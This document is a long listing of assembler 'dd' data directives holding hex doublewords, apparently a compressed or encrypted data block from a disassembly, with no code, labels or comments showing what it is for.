dd 9FE4DA48h, 0E020AE16h, 54095D3Eh, 15E429h, 37A3FDA2h
dd 86287F39h, 780150F8h, 6640E28Eh, 58624155h, 51367318h
dd 6B000CCEh, 8F92FE6Eh, 2A58A9AAh, 9AC571Ah, 9B3C16EDh
dd 9DF41480h, 5116DB86h, 280A613Fh, 41915018h, 9EF73906h
dd 913C4159h, 5069E7B4h, 17850881h, 0E0EE2061h, 80E3FF04h
dd 1F6AAA92h, 0C96AB8C9h, 7811B403h, 1E68047h, 0D0F011Fh
dd 85E376ADh, 0A0E06165h, 6C86B070h, 0EF37E600h, 0C2AE00Ah
dd 8B7900B8h, 0B9FE9B98h, 0FB047D2Ch, 99B0E5DCh, 9A9604C1h
dd 137F7820h, 20BDEF81h, 0A9C375E4h, 13218B00h, 9E598993h
dd 0AA413E34h, 0E46C8000h, 0B6FD0C3Fh, 12F8C153h, 0BF055710h
dd 8C30131Fh, 80BF5B20h, 3065ED23h, 54C80919h, 40790046h
dd 0C1493C35h, 0F20028C5h, 0A4055EEBh, 7681CD6Eh, 828D002Dh
dd 9721FFF1h, 0EC38A523h, 39F67556h, 6C44BD00h, 9CDEA017h
dd 0C07500BCh, 0E7133F35h, 0FC122C1Fh, 5207E2D8h, 0E3002E05h
dd 1A79165h, 99A1E76h, 81877B53h, 0D801EA58h, 6986D2CEh
dd 1898A0F9h, 583DF6F0h, 59901DE1h, 491B9103h, 372875D3h
dd 6058F9ECh, 0D66E9B45h, 49BB0501h, 0BF16F64Ah, 9EE40C41h
dd 0AA216981h, 8DBD74h, 0BB457Bh, 0E0A0FA22h, 0F721E9E5h
dd 32A2C81Eh, 0F45B6EC1h, 0C8FB0BE7h, 30FA252Bh, 0BE29C29Fh
dd 88C0E8FBh, 868A96ACh, 8F6F48FCh, 6666E00h, 35AA1519h
dd 32E4C806h, 0E39E25Ch, 0CE2B5938h, 0FE41EC40h, 3D0540CAh
dd 79532271h, 0F4EA8040h, 0A252F7h, 0D4696E95h, 7087BB30h
dd 0EF9CCD00h, 73AD6253h, 16DC00E9h, 0DA2542F3h, 0E0F51E6Fh
dd 11C35A0Bh, 7AEBA56h, 946DF729h, 0AA533091h, 3C03F660h
dd 0D16807Eh, 2A797DEFh, 7949B68h, 0E6053850h, 71800E5Eh
dd 0FCEFF81Ch, 4B2FB302h, 0A0521682h, 5F5643C4h, 0DF800001h
dd 3668F750h, 5D003206h, 0EF92A9FAh, 0C3A895ABh, 541A9158h
dd 7956390Ch, 0A101F193h, 0D8C0A9F4h, 91ED00E4h, 85340E68h
dd 0A1303C06h, 56FC2920h, 64D60044h, 824C4965h, 44A34E11h
dd 8106F4CBh, 0FAF19F31h, 2BF02D9h, 8F5F88D9h, 0EFAEF9C1h
dd 99945100h, 0EB21DD41h, 955300CAh, 8569ECBBh, 0E5009EE9h
dd 0EF101C2Dh, 265B020h, 0CBF752DDh, 0D083BC93h, 49152A7Ah
dd 7F0CD5Ch, 4F45D806h, 0B615320h, 1550F7Eh, 1F60D611h
dd 93D0B74Eh, 85DF5C0Fh, 0BA4138DEh, 0A8B90EF1h, 0FDAC08A1h
dd 30008DB9h, 36D32F88h, 0F0E5CE5h, 0EE68CE4Ah, 3CE856C0h
dd 6C581A82h, 0F1A80C87h, 7FA39F6h, 0D516B5C7h, 97A704Eh
dd 3800FF95h, 1FBB8D56h, 7E011A47h, 60CB3A44h, 0DDE92B80h
dd 0B4735689h, 17D18D00h, 0BEFFF216h, 0DABB898h, 0E5F0D6D2h
dd 0F4CBF561h, 5200B5BCh, 1BFB556Ch, 3DC760C5h, 3E00205Ah
dd 6CB0714h, 72EAA02Eh, 3DBB250Fh, 94CA6AE4h, 0F9D6D886h
dd 86DB2A51h, 45B00084h, 1764EC7Eh, 213E1CEDh, 2D1F0171h
dd 20AED6D5h, 4C53BC42h, 0A455F01Ch, 648212A4h, 6C08424Ch
dd 2464D640h, 77171600h, 0D455C0DBh, 63BFEECEh, 1E7C1176h
dd 5141E7D0h, 6E3B2F00h, 0EC8D9215h, 0F45700C4h, 63F128EFh
dd 5E048812h, 75944B0Bh, 0A4063883h, 0F7BAA880h, 0C07E4839h
dd 64A80A24h, 6208375Bh, 84A0E45Dh, 0EDBF2DDh, 43021D00h
dd 3768EE79h, 0A51A1292h, 24A000F7h, 55F2107Eh, 0AA1F9B06h
dd 61F8F1h, 78A48CE9h
dd 655CE8E7h, 0D3741000h, 4A4CFC50h, 40F86189h, 51B96F56h
dd 83647084h, 0F75E4F80h, 9A9B9A54h, 715C0590h, 8CD814h
dd 392FEBF5h, 0A04D77FCh, 615510h, 2DEECE9Bh, 0CB4F6BD3h
dd 3B99F03Ah, 0A0330214h, 0A353BEF7h, 0F06DF6C4h, 8E8234h
dd 2637C291h, 95FCECCCh, 0C8D6E800h, 40CDF593h, 56150006h
dd 0F76DC197h, 0EB50B948h, 944479F8h, 4FC03099h, 7B2B6559h
dd 0DE25E71Dh, 9A532130h, 32E800D5h, 15FFF90Ah, 0DE1068CFh
dd 9109730Eh, 0DCA5FA62h, 0C8A420F4h, 2F00FB30h, 0F0175BDDh
dd 7D375F64h, 8092507Eh, 60147D4Bh, 26437950h, 44017406h
dd 60A8F3E1h, 1434F805h, 14BF5001h, 0BB1300AFh, 94DC72EAh
dd 0A1035CBCh, 0DE4205B1h, 0C5B1007Dh, 2ED8CF8h, 3B007C70h
dd 80CAAFE7h, 0ABA858h, 2BE297BDh, 0C9D8F436h, 0E9EBD344h
dd 9E4E9880h, 91EC505Ch, 23AC33E7h, 0BA64247Bh, 13D0D185h
dd 0CA500351h, 0C0BE20B0h, 0B6FE600h, 0B3FF0470h, 869D2F0h
dd 9E80E46Ch, 0B8D1879Dh, 4C4000A5h, 0D331DBEFh, 0DF3A382Dh
dd 0AD630096h, 779A3F83h, 7907005Ah, 0F2D614A7h, 4F309448h
dd 0B8102839h, 10BFE98Bh, 0C57A221Fh, 0C759090Ah, 37F983DDh
dd 873B2800h, 67D61A3Dh, 7C3601E8h, 0C442D854h, 0C8E03191h
dd 1B0006B1h, 3BB9059Ch, 52A5560h, 0D9B06C2Dh, 0AE380018h
dd 8E1489B4h, 94530403h, 18F39110h, 29B19281h, 443CDC1Bh
dd 852F0E4Ah, 702BE09Dh, 101042E8h, 795DD92h, 54D2EEE3h
dd 0EE590E33h, 0DB2831C9h, 6F1F8351h, 11500E0h, 5278778Ah
dd 0F84603EBh, 710324ACh, 0B0AAF58h, 0D37918A7h, 1BE3F1FFh
dd 0C8254C05h, 0BE01C4D5h, 0D952173Ah, 0C5DEF0h, 66468FAAh
dd 0A92B0E30h, 810F9030h, 2E0B81h, 2D06CFC4h, 0EB89B336h
dd 80F2E8C8h, 0AFAE35FFh, 800C999Eh, 81BA93B3h, 60F60019h
dd 0A01B588Bh, 98054156h, 0D7076D99h, 686DA1Ch, 48E023h
dd 0E37179F9h, 53F64712h, 6E97AC07h, 0DAA041DDh, 39D88E5h
dd 0E8682BBBh, 0D900FED3h, 620C870Dh, 2C89B0C9h, 1A0D2B6h
dd 4BEE18C1h, 9FDFE840h, 0CD2DF007h, 0D5509B8Ah, 1CEA1D3h
dd 0ECADB02Ah, 80A59213h, 745F17B1h, 0F76F11Ch, 0D8A3B736h
dd 0E3DE2B80h, 943A4254h, 0DBF6801Fh, 0A619BAEEh, 3D55B01Eh
dd 0B14C1A2h, 37010CC8h, 22DF7338h, 0AF0C2009h, 1660D9ECh
dd 7D1D9669h, 224312F7h, 0C4C102EAh, 0A8A00D0Ah, 53CF3EDFh
dd 7638DB18h, 912B6031h, 0D57A0004h, 7C40F641h, 0BD3F5800h
dd 78D286E6h, 0D8C300D0h, 521EBC1Ah, 44915EFh, 0ED2750A0h
dd 0B39241C6h, 0B2D90569h, 80CE1F57h, 0ABA966B3h, 6FC0454h
dd 9FAC0C48h, 8611D508h, 1997A3E0h, 0BF8E1B07h, 15206924h
dd 6006187Ah, 898C11BEh, 9101AF43h, 5CCEB7A6h, 2F602223h
dd 6786392Bh, 0A391EEB3h, 0BDB95998h, 858C0600h, 0D5471DB5h
dd 0C5A6019Dh, 0CE55E697h, 8168F05Eh, 0BCD20C04h, 348CB21Ch
dd 422507C5h, 7096F8ABh, 0C166B37Ah, 8E48D971h, 98870058h
dd 0CE82DCBDh, 79E6614Dh, 0E8A133FFh, 2B54D347h, 5170C594h
dd 9A6CFC00h, 490F2FAh, 0AEBE0088h, 10B39154h, 41C2E78Ch
dd 0A14E14F0h, 0F22B62D0h, 70540A11h, 34039B3Eh, 0C74C035Fh
dd 8B66D8EDh, 3B30C160h, 10E58E10h, 8D9FA0h, 0AEA36280h
dd 673330E2h, 43A78B00h, 0A2FF38A6h, 0B6872210h, 0F9DF927Bh
dd 8A3EEF40h, 0A1717Bh, 4A88E858h, 4651AC99h, 3311A00h
dd 98E5E1F4h, 3EBC261Ch, 0EC0D1410h, 4010A7C4h, 0AE9DA006h
dd 17210940h, 0AC8FE43Ah, 3C5A94FCh, 7309AC22h, 805261C9h
dd 8BBE2D9h, 4801F93h, 98E10E79h, 603001BDh, 50D89933h
dd 0D65F8B08h, 2C043BE0h, 0B017EF78h, 90102C90h, 1CCCA4F4h
dd 0C0A4681Ah, 4BBF1536h, 8F3D583Bh, 0E470A89h, 0CE67E08Ah
dd 6461320h, 0DCC9C00Ah, 0E6C60DD9h, 0BE3E8E1Eh, 0B1B2944h
dd 8868C8h, 73A0821Eh, 94C07F58h, 0D0A18F00h, 0F8DB159Ch
dd 0C94A0F13h, 0E8819055h, 0F0D499EFh, 0A1E20AF0h, 84018905h
dd 0CC0F4E9Bh, 0F2042035h, 90B4BD75h, 931028E4h, 2C2F4850h
dd 20FA8BC0h, 0BA0BC5C2h, 0A8B637h, 0B4C1F9BAh, 7C722DE3h
dd 0CB039F58h, 0A6BF73E0h, 63D802Bh, 0FAB9C00Dh, 70879460h
dd 0A376C277h, 766B6C01h, 0EA3A0D64h, 351B1F8h, 15DC3FCAh
dd 1BB31206h, 8C8598A0h, 0B41CB872h, 9193AF40h, 0AC930020h
dd 543F44Eh, 3B6CC43Ah, 3170814Ah, 0DBC91055h, 82B8992Bh
dd 23A41C4Ch, 161D8560h, 40B15900h, 3E7C8A7Eh, 8CC700F8h
dd 6F5D0C95h, 0C2389EE8h, 0D03600A9h, 32DAFFFDh, 0D70A0112h
dd 575A44B1h, 3C94C4A6h, 0AFCE3Ah, 22691876h, 236191Bh
dd 0E97D5781h, 9940340Bh, 0C62D8DBFh, 0EC47654h, 0C8985893h
dd 3600AEEBh, 0F1C98EF7h, 4917DA28h, 0AF016C91h, 0EABDEC77h
dd 0AC6C48C7h, 0C3648h, 0BC7D5921h, 5566099Ah, 6F88C45h
dd 0FA4CB222h, 75771EACh, 0BB3800F0h, 31CCA5D5h, 1865F213h
dd 47950C07h, 3608E340h, 33AB1252h, 65BC002Dh, 4C9053E2h
dd 0D5009D7Ch, 110DDB64h, 16CAD00Ah, 197F839h, 0C4AA0221h
dd 34C326Eh, 1B2CC0Ah, 574EC049h, 8D45009h, 7141041Ch
dd 851A9E07h, 68E804D0h, 0AE364098h, 133883BEh, 22CF1306h
dd 0C7279BE4h, 1D851C6h, 0DA6B3460h, 30E68853h, 0BEFE0D8Ch
dd 0C3BA1F09h, 60B88F3Dh, 931CB78Bh, 1E41C0A9h, 687FB3C4h
dd 0F6D5AB1Eh, 62BE10C0h, 0F6052A13h, 6C095C9Bh, 7CC9D33Bh
dd 0DBC54000h, 58F08DEBh, 0C6C6600h, 5A3246C9h, 0AE530029h
dd 54EE4BD7h, 0F302E52Dh, 93C08BD8h, 0F400C13Fh, 0CD970841h
dd 14A8A9C0h, 0BCB77438h, 3BA64A07h, 0B960BE03h, 29D9D8BEh
dd 3757AD02h, 0A0DC2CAEh, 1A3540A8h, 0C8E60063h, 921FD90Eh
dd 0CA039A5Ah, 0DA25AF6Fh, 0B9149133h, 1A2DBC70h, 0C1022CEFh
dd 6F0050C6h, 0C062A5FBh, 912142h, 0CF29ED98h, 2850110Bh
dd 8028F969h, 1F15F008h, 409014h, 5C093B36h, 0DEA36D7Ch
dd 0EC8F1015h, 22F016D8h, 0E1372020h, 0EDD90949h, 38802986h
dd 0F2E31A0Fh, 888CE600h, 738B54CEh, 0BB90094h, 92D890BBh
dd 2B008E2Ah, 175E1BF1h, 0B16024h, 0DAC37994h, 508BD049h
dd 5C73DB07h, 104B0AC0h, 0B93698h, 0CE212E77h, 78B84041h
dd 652BB317h, 384EA712h, 0B44296DAh, 4CAEC494h, 0D2A915ECh
dd 0D9008CF1h, 0EFEA70A2h, 38B9CE8Bh, 3AEDE501h, 2FF47A83h
dd 1D7188h, 0C5554037h, 0E7BB8776h, 583CC424h, 12573F0Eh
dd 0CF361C00h, 99D0815Bh, 62C20038h, 46A0C42Eh, 7C01D27Eh
dd 0F503A3C7h, 28E0EEA2h, 928900B5h, 63D178C2h, 8B00BE85h
dd 0FE13F35Ah, 692CCE42h, 619D4h, 0AF71A127h, 0CCC40B07h
dd 0BAF94CEh, 64C05B1h, 228888h, 0B84112C1h, 0AAEB98Eh
dd 0A0950B2Ah, 58AC3400h, 0E5CE6629h, 53D609BCh, 0FC14F468h
dd 0C600C82h, 1CB9E88Eh, 0E2BE44BAh, 0AE4A33B0h, 0B3883680h
dd 2898C06Dh, 0F39A0B00h, 0F73F7A7h, 4060B8BFh, 0DF0097D4h
dd 3756C6E0h, 54A3671Dh, 60ADCCEEh, 4938C113h, 83B855B6h
dd 857C2E4Ch, 0E0C0CEBFh, 582D0D0Ch, 7DC0303Bh, 73919C60h
dd 0CFE7A007h, 0D2C19590h, 8C20F3FCh, 80209428h, 1781BECAh
dd 0F00D82Eh, 74B02A16h, 7641A41h, 15C70CACh, 0A9014093h
dd 78C53ECFh, 9CC8284Fh, 0D4543E6Bh, 0AFC62082h, 4E2FE829h
dd 8BC7C0C0h, 1D6401Bh
dd 0CEB862ECh, 9352D31Ah, 1090EFC1h, 180F2BD5h, 41898A10h
dd 0BE008CD6h, 0CA88B3CEh, 3C2C0403h, 940014E8h, 216EDD25h
dd 0FD0AE052h, 8DB21EF2h, 682B4409h, 3B3AD8h, 0AD20B189h
dd 0B57AC2C1h, 7107AE7Ch, 0D91BF362h, 0B3D81929h, 8513AE1h
dd 1024EC2Bh, 60CD48FFh, 0AC655880h, 8CCBFCBFh, 0BED60375h
dd 0C5CDD814h, 0B22209B6h, 4432Bh, 6DDCB493h, 0C86F530Fh
dd 2320C048h, 6A862Eh, 9ABF3A8Ah, 44346DD7h, 0BE043BF6h
dd 8E18A98Ch, 2E92DC88h, 13BA9791h, 8911AC7h, 0F8410CB0h
dd 93393209h, 30E444A8h, 8E210EF1h, 8DF28216h, 1025B674h
dd 0FF542089h, 13CC067h, 0B0668B29h, 0D8C93FF5h, 0E4904076h
dd 1FF3710h, 0B862FC41h, 9C6DD90Bh, 5D293480h, 67340655h
dd 14CC79ECh, 1EAF7h, 5F4BEA88h, 5251CBBFh, 0FE93573Eh
dd 84FBDB09h, 2E404891h, 0E07B61h, 0F68BF8D6h, 104AA530h
dd 7AC89016h, 0A08AA420h, 0BCF424ACh, 0AD928C48h, 1B83C41h
dd 6D710D0Eh, 0ECA42133h, 946249E2h, 0D9360174h, 0D3AA6AD8h
dd 68020EDh, 30A6625h, 2CD0E0h, 13190DB9h, 4606BD26h, 4CB7F53Eh
dd 24A026AAh, 3AE28840h, 0BED26FBh, 90182A0Ch, 7FBDF038h
dd 8B3C044Eh, 814A8110h, 0E024C8h, 6B75EEh, 0C361139Bh
dd 3AC76393h, 0BF03E600h, 1E4DF1FBh, 88AE0234h, 69D0096Dh
dd 12060069h, 0A85228h, 0C51B4DA6h, 0FCC0FB5Bh, 2E0CD77Ch
dd 0F1B06709h, 46AC3C36h, 0D97BEC82h, 0F8605F63h, 114D1F6Dh
dd 8AB93ECCh, 6C071C6Ah, 6806013Ch, 4D617260h, 3C2464F2h
dd 7E0F2ED0h, 6740A98Dh, 0C143CBCDh, 0B26DB400h, 0D173E0F3h
dd 78525CCEh, 458CF1CAh, 85D81098h, 8224BD00h, 18858CC2h
dd 84709248h, 5C88A590h, 0EDCB1231h, 0E5243034h, 5000E474h
dd 8712FC83h, 0FA7FA7h, 0CD0F91BFh, 0F7D3DCCAh, 93543271h
dd 0A481B24h, 0CE8E8458h, 2168092h, 0A210F087h, 0F949107h
dd 0AD60E1B0h, 0AC3B0433h, 79259704h, 348C0E47h, 0B50500BEh
dd 14D66A06h, 0EB1C91DAh, 0B8711B3Ah, 0D3C4A8BAh, 2189003h
dd 0EE1DB02h, 18C1E215h, 0E134388Ah, 0CC4867BDh, 303E0B9Eh
dd 6C101BEFh, 9096B810h, 8C543A40h, 997664DDh, 639E40AEh
dd 1D2C860h, 0C4B954E9h, 46740936h, 92508010h, 66242A24h
dd 43DE4C9h, 97A694F3h, 0CD7BCD8h, 0D92B4A51h, 2604AC11h
dd 59E0459h, 43B0A280h, 0BC37F25h, 4BF33684h, 6F064C02h
dd 0A8314C51h, 0A712B321h, 0F80FB220h, 6D4348DAh, 9387953Ch
dd 308B470Eh, 0B77515B4h, 0A0C2B832h, 3C90C6BEh, 4A0AAF3Ch
dd 808C2AD3h, 0CCF3BD03h, 230325DAh, 1DA4A9D6h, 4FB381C3h
dd 0E002023h, 0D565B8E0h, 0AA00EA24h, 5651F650h, 8252ECh
dd 0D0021607h, 0B90EC13Eh, 0E3679B05h, 8433FA3h, 0AF93DBh
dd 4E3642C1h, 8843523Dh, 1C002474h, 2396A9D9h, 481AFEEEh
dd 9F6C93h, 33A2D4A1h, 7A161529h, 4C0F483h, 965122F0h
dd 3E28068h, 0E188FC3Bh, 209846E5h, 962A144h, 2A8F6FEDh
dd 84D3C4A2h, 6008E4A9h, 7AA347B8h, 0FC19003Ch, 0DB907155h
dd 89919706h, 216093E3h, 443E943Dh, 26877C36h, 3B3840A2h
dd 170B0691h, 70FEE74h, 23FF859Bh, 3BF2CCC0h, 7E6F3109h
dd 2DAAA979h, 0AC2824ACh, 3E634C40h, 0B2600052h, 3E930BEh
dd 6BEED8BBh, 0F704ECB8h, 0D3FA1F3Dh, 52B28224h, 16000C8Eh
dd 342A6139h, 0FEC8C8F9h, 163F773Ah, 0B001FF15h, 8C48D233h
dd 88DC6474h, 0CB009463h, 7E1B5806h, 0D998E3h, 68650B80h
dd 0D0A7E9F2h, 0E1166312h, 8524AC48h, 0E4592FF0h, 8A449138h
dd 53FF1D6Eh, 16949F56h, 0A890C893h, 0A04AD25Ah, 7C2C8CB0h
dd 0DB004420h, 90C34A47h, 388EB933h, 0EF820EBEh, 0BA3D6EF4h
dd 1098E0C0h, 0F06D688h, 2A0DF0D9h, 1914D486h, 0ED6B3C24h
dd 94530A05h, 6867F804h, 0ED37C743h, 222B6BC1h, 0E115100Ch
dd 17233803h, 381D08C2h, 5CEA8F10h, 0C93CAD50h, 3E1B0600h
dd 0AE4497D4h, 99E22C2Ch, 28102788h, 87029E63h, 53F7A27Fh
dd 3B1C79BFh, 2272F087h, 0FA8A209Eh, 0C3D0FBAh, 98E6BD14h
dd 0ABA03B96h, 0D271404Fh, 0C85C8948h, 0CF3683B1h, 17902C41h
dd 0DAF265B5h, 7848F628h, 91369244h, 0D27A8570h, 4E2B8002h
dd 791631F6h, 0B80023D8h, 78D438E1h, 7420ED19h, 0C58CA08Bh
dd 6979C4E0h, 18D35EBAh, 7CE21040h, 0E85D89Eh, 0D22F65F7h
dd 600852FDh, 84CFFE2Ch, 0CB13071Fh, 40F0624Fh, 692E37EBh
dd 30997FBFh, 0AF5116D3h, 39C0EF2Ch, 0F5F03FD4h, 0BC000BEh
dd 36F85F6Ah, 5E0F2C6Ch, 0E55D7CB9h, 9460EEAEh, 4DEFDD3h
dd 93B06096h, 858642B2h, 0ED0CC7Ah, 0DD6DC5BDh, 812411Dh
dd 50E2A3B0h, 30164E80h, 0BC8A0E28h, 0F880D355h, 0B902E12Ah
dd 2F171DB4h, 8F6C4990h, 0A89223EAh, 0E6A7138h, 0C0338442h
dd 0BBC88A02h, 0A75500C0h, 18C6FE8Ch, 86008FAAh, 0E21216BAh
dd 0BE3610D0h, 69090BC4h, 0ACA93C10h, 8E88124Ch, 6C60AE2Bh
dd 771DAh, 702F9BF2h, 0B1CB3CFCh, 1FD52100h, 86B013D4h
dd 5CA0099Dh, 0CC01E86Fh, 0BFA6C194h, 76ADC4A9h, 1CE500B5h
dd 0F711F38Ch, 0AE2890FCh, 0F039801Bh, 8481E917h, 0FF41B680h
dd 792CD30Ah, 0A32F0058h, 78F981Dh, 1F47E89h, 6DB1F17Ch
dd 3CFC8E17h, 0EF3500CCh, 0E3B33DE1h, 2A149C3Eh, 0BDF4F98h
dd 0C098680Bh, 3295CEC4h, 0F2F4012Ch, 0D2016ACFh, 2DCC50D0h
dd 2AF71773h, 24083812h, 0B53F8EEFh, 0BC62C820h, 2000A879h
dd 74312658h, 27B4AF50h, 948035F8h, 9FE0AE38h, 90919A60h
dd 58D9D5F0h, 689842Ch, 0E47A2448h, 0DC44DA0Fh, 8C2060D9h
dd 4CDD629Ch, 3F081C79h, 2F914F90h, 40449224h, 98C3323Bh
dd 800013F4h, 12FFD922h, 3D283D5h, 471BDD4Dh, 0D028740Fh
dd 36019C1Ch, 0F39789E1h, 0E8621E8Ch, 74227451h, 33EF4103h
dd 0A92A3756h, 99008C1Fh, 9DF6AF91h, 842D66h, 0C9E16454h
dd 841790Fh, 0F870330Ah, 0BE10ACE5h, 4190E6C8h, 881DFE1Ah
dd 2D43F84Eh, 68009321h, 9A050EE9h, 3363A88h, 1028A324h
dd 11F7C47Eh, 0E2208922h, 1D94B93Bh, 8747AC9Ah, 84D22D29h
dd 7D34B5D1h, 7361348h, 2EA76420h, 6DF8A0h, 0A2DA9D4Ch
dd 0B4C1CC7Fh, 0E4DE302Ah, 52C69606h, 4388C702h, 4FD22AAh
dd 0B67BD36h, 0D3948156h, 7C7D03h, 0C0B75919h, 7F1DDD8h
dd 4455D220h, 0A1C92099h, 6009FEBh, 8D6EC44Ch, 0CCB25Eh
dd 5005C50Bh, 5AC60444h, 0D8360330h, 4BE20D7h, 0A7FE49AFh
dd 3320C2B3h, 0B0082419h, 1CB14E88h, 42432B11h, 0ACC83AD9h
dd 71773461h, 60C01940h, 3B05B2ECh, 0E31BB4AEh, 14A7C44h
dd 0C43D20C3h, 2B9C9E40h, 340B1EB4h, 820AD07Ch, 9992909Ch
dd 613E68Ch, 214F0900h, 7E2F6CCCh, 0B4CCA02Eh, 0A24284F1h
dd 272BA850h, 0AC2191A9h, 29E01C3Ch, 5E2E74D4h, 18117804h
dd 9848C748h, 0A04C2797h, 0E499F6F7h, 34B6F326h, 172ED607h
dd 0DA540489h, 622E132h, 4698666Fh, 78B062A7h, 0E3000F8Ch
dd 2960AC51h, 547D6828h, 3D781000h, 0D86DE2AFh, 58E5741Dh
dd 0D905A8CBh, 88375A15h, 9988B64Ch, 0FE670076h, 0C39322F7h
dd 95008F33h, 90FE5D2h, 9BE77BFh, 0EBA8906Bh, 32C65CA4h
dd 5DB04C19h, 62003402h, 0CBDA9FDFh, 1B03C17Dh, 12CE790Ah
dd 3C909056h, 5408B836h, 89CD249Eh, 10060138h, 0C840C805h
dd 755D491Fh
dd 0C02B1285h, 729C86C2h, 0D66814E8h, 9480C093h, 0EFF9DD8Bh
dd 612E5600h, 801AA712h, 40BF0315h, 706F73Ah, 0D5AD5907h
dd 35F0B85Bh, 227D44Ch, 0FCEFF2E2h, 50B8D267h, 221EE12Dh
dd 0C428DB7Ah, 17792090h, 0FF2C2CB1h, 5ABE2C26h, 2813CC25h
dd 6A62002h, 60B10053h, 820050C4h, 79103BD2h, 4CC538D7h
dd 8A80247Bh, 660B1DC1h, 0EC20945Bh, 0BFE4937Bh, 1EC14B62h
dd 11886270h, 0A92295F7h, 7AFEBD00h, 0A59849Ah, 0CDB00557h
dd 44ECB85Dh, 22CE16E4h, 3BD920F9h, 90A407C3h, 0D3FAC0B5h
dd 174FA97h, 698F287Ch, 6C2BB1BDh, 0BB670BF0h, 0D358844Eh
dd 1EB09CF4h, 0C0594CCFh, 13E92D0Fh, 8B07F4C9h, 88E40350h
dd 80EFD347h, 0B49D8536h, 2464A818h, 41D78198h, 9C2CFB4h
dd 8213CBE0h, 29016CD1h, 0B290168Dh, 12D8FF8h, 0D25D372Bh
dd 24090BADh, 0AA898CECh, 7FED3C31h, 104E1511h, 0B1A3E362h
dd 0DB508E98h, 492AD304h, 40998018h, 723E37EEh, 0DA7B013Ch
dd 828A521Dh, 77C02838h, 0DB42A8A6h, 4144971h, 0A40B079Ch
dd 9163F079h, 902BFEh, 840934Fh, 0AFD904FFh, 0B0D5546Dh
dd 6A0BCA7h, 0F90890A9h, 46720625h, 2A88A20Ch, 0AAE08860h
dd 0B46D1Eh, 30C0AC92h, 0AB176005h, 0BA8E7103h, 0AC101B82h
dd 6A0AF8E2h, 64A0A9D2h, 28375355h, 5363E907h, 731880E6h
dd 85EE0066h, 44975DF3h, 14141EF1h, 11B83A12h, 311178F5h
dd 91AF0052h, 0E3AE7C7Dh, 485CA8A2h, 0FC1097DAh, 55007205h
dd 0D8CCE50h, 5C0E3CE0h, 0B7104CA0h, 95FD8494h, 540058A6h
dd 32EE455Ch, 0A1008D66h, 0ED139751h, 2C1FC47Ah, 6008A465h
dd 0E027EE8Ch, 223D3720h, 6E21BA64h, 5F7700AEh, 3AEF896Ch
dd 0A1642900h, 5217D308h, 0F8FAE290h, 1BB50030h, 9C8AD0F1h
dd 0C8FA94E9h, 139D111Fh, 0D947691Dh, 0D8722A97h, 8C146339h
dd 10B8E34Ah, 448DC8B5h, 9F484026h, 0B25A772h, 7C8D0F44h
dd 24D7F402h, 0CE363840h, 0A09A5B13h, 2898C701h, 3BC4212Dh
dd 407868C2h, 0C9D102B0h, 0A082361Ah, 0C213938Bh, 35FF0296h
dd 8903AC59h, 88BB16D9h, 527DF01h, 0BFEC243Ah, 0CE8C81DAh
dd 6DB01111h, 0D8218035h, 0B460CC4Dh, 0E1B2004Bh, 4CFDF7Eh
dd 7A586488h, 408D354h, 0CE460837h, 284BEE44h, 0F5DADCC8h
dd 47651300h, 42EA97DFh, 202C9063h, 0FC8C8975h, 5E0F0FF8h
dd 407826D7h, 0E50A733Bh, 5C6E0217h, 79BF43C7h, 0F4F18899h
dd 54B4740Bh, 2578D440h, 42189C80h, 3C05F12Fh, 903B9C04h
dd 0F0222022h, 0CC7C6A29h, 3E7134h, 0ADFD3301h, 0B690D23Ah
dd 0BC810D88h, 6A1EE090h, 0EA00643Eh, 26E9FD6Fh, 5A3C6Bh
dd 0B62D51E8h, 0E01D08A0h, 628588B9h, 78C2AA04h, 14B2195Ah
dd 20B5F0C2h, 0F52DB95Dh, 3B0F4B07h, 0C4100250h, 726A7227h
dd 65A109C7h, 54407ECFh, 40821B5Ch, 88542F5Ch, 0E20ABEB9h
dd 0D01E91A6h, 4445DC44h, 76BA80D8h, 0C2274A6Eh, 0EC90460Bh
dd 0BE3B0369h, 0ED57387Ch, 6DB3388h, 0CB0A1401h, 9D5882EAh
dd 6443F075h, 6BAFC04Eh, 0C86E2C15h, 0C8969054h, 0D12892EDh
dd 0EC24418Ch, 0A6009BD5h, 0B8377A68h, 486A8567h, 407E140Fh
dd 7224DF98h, 8061407Ch, 0A202364Ah, 8415C519h, 62A8F23Dh
dd 2810148h, 1CC433F0h, 9EDE3B00h, 0C6085C80h, 2E8E0F54h
dd 32E11BEBh, 30C21ED4h, 4E138004h, 10018993h, 61C4E750h
dd 70280435h, 6F2B7A80h, 3818BB9Eh, 40CA32ACh, 0D7E31C93h
dd 0F86102AEh, 888FE0B3h, 0E104C410h, 22081CE2h, 0A0B48F0h
dd 3480C80Bh, 0E94C01CEh, 30B33BBBh, 9D6428DEh, 74300256h
dd 5479B4Fh, 510CFCEAh, 9BAEC94h, 239BDF2h, 10932B80h
dd 0FF8095F9h, 44CB867h, 0AC1CC3Eh, 8940EC6Eh, 651499D4h
dd 0E11416E5h, 2A13C6FCh, 9E8EB50h, 2B3D2D05h, 16213010h
dd 5DC25000h, 0BAFE3059h, 5A3100E7h, 0ACEFD27Eh, 0D0A03BB5h
dd 5E827DC9h, 0E5976068h, 837E5459h, 0DB691200h, 0DEE340CAh
dd 9A4D00EDh, 6B2935E9h, 1C26B776h, 7901E8F8h, 0E2D77C15h
dd 88340475h, 74458621h, 0F415840h, 21041425h, 8F09DDD8h
dd 382FADF1h, 0F0F2A1C9h, 4AE1EB3Bh, 4D06820h, 7AF80081h
dd 0FA4E49F2h, 0ECA6B267h, 5FE0BA20h, 10E43006h, 0EA267B81h
dd 6C1248D8h, 4F440480h, 2C8F8871h, 61D602E9h, 22CAD83Ch
dd 2D11A973h, 0D0784A10h, 123FE601h, 0DE4647DDh, 534E1C2h
dd 0EC00A008h, 6ACB63CEh, 482BBE08h, 1CA5A465h, 955138h
dd 849A0A9h, 785A8DE0h, 21AB2829h, 8A737768h, 8D40A074h
dd 53C3CEh, 0E8725C26h, 0E4421B66h, 0C2437098h, 2C121E10h
dd 0EB088037h, 0BEC88023h, 79103C4Bh, 384A4Dh, 1352A907h
dd 0E6B9D30Ah, 4E980FE6h, 0AD890146h, 711084F9h, 5010ACC4h
dd 908A21C8h, 7D0B84ADh, 83E03025h, 0E00542Ch, 5FFD246Dh
dd 0A573542h, 87AD7DF0h, 71A3028Fh, 98C0B331h, 484BEA6Eh
dd 431B7031h, 4ECEEFCh, 0E4FABD47h, 48C035A3h, 376686E3h
dd 95E86D41h, 6EBC0438h, 10CE4B96h, 0F0D744h, 558E68D8h
dd 0A6A12134h, 7C093675h, 0A43D290Ah, 58A282ACh, 83750682h
